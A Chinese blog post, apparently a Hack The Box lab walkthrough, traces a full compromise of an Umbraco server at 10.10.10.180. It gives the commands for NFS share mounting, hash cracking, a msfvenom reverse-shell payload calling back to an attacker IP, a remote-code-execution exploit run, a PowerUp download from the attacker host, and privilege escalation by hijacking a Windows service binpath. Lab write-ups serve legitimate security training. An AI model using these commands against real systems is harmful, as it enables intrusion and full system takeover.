最近域名到期了，注册要好几天，就在这发个水文得了..
nmap -sC -sV -A 10.10.10.180
ftp
anonymous登陆，但是没东西
smb
smbclient -L 10.10.10.180
-L查看共享资源，但是需要登陆
rpc nfs共享
showmount -e 10.10.10.180
发现共享目录，把他挂到本地
mount 10.10.10.180:/site_backups ./share
主要看一下Web.config，找跟数据库有关的
但是只能本地连接
找到连接的配置文件Umbraco.sdf
find一下路径，strings查找，可以得到用户名和hash1加密的密码
用hashcat爆破 -m 100表示hash1
拿去登陆，来到后台，发现版本为7.12.4，有现成exp
选择弹个shell回来，可以上传文件，msfvenom生成一个exe上传
msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.14.26 lport=1234 -f exe -o shell.exe
上传后用exp执行
python3 exp.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a ‘C:/inetpub/wwwroot/Media/1033/shell.exe‘
之后需要提权，可以用提权辅助工具
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
kali开个http
powershell.exe -command "(new-object Net.WebClient).DownloadFile(‘http://10.10.14.26:1235/PowerUp.ps1‘,‘C:\Users\Public\PowerUp.ps1‘)"
然后进入powershell
import-module ./powerup.ps1
./powerup.ps1
也可以查看启动的服务
wmic service where started=true get name, startname
可以看到usosvc是localsystem
sc stop usosvc发现可以控制
那就直接设置binpath为反弹shell路径
sc usosvc stop
sc config usosvc binpath="C:\Users\Public\re.exe"
sc usosvc start
getroot
原文：https://www.cnblogs.com/W4nder/p/13698688.html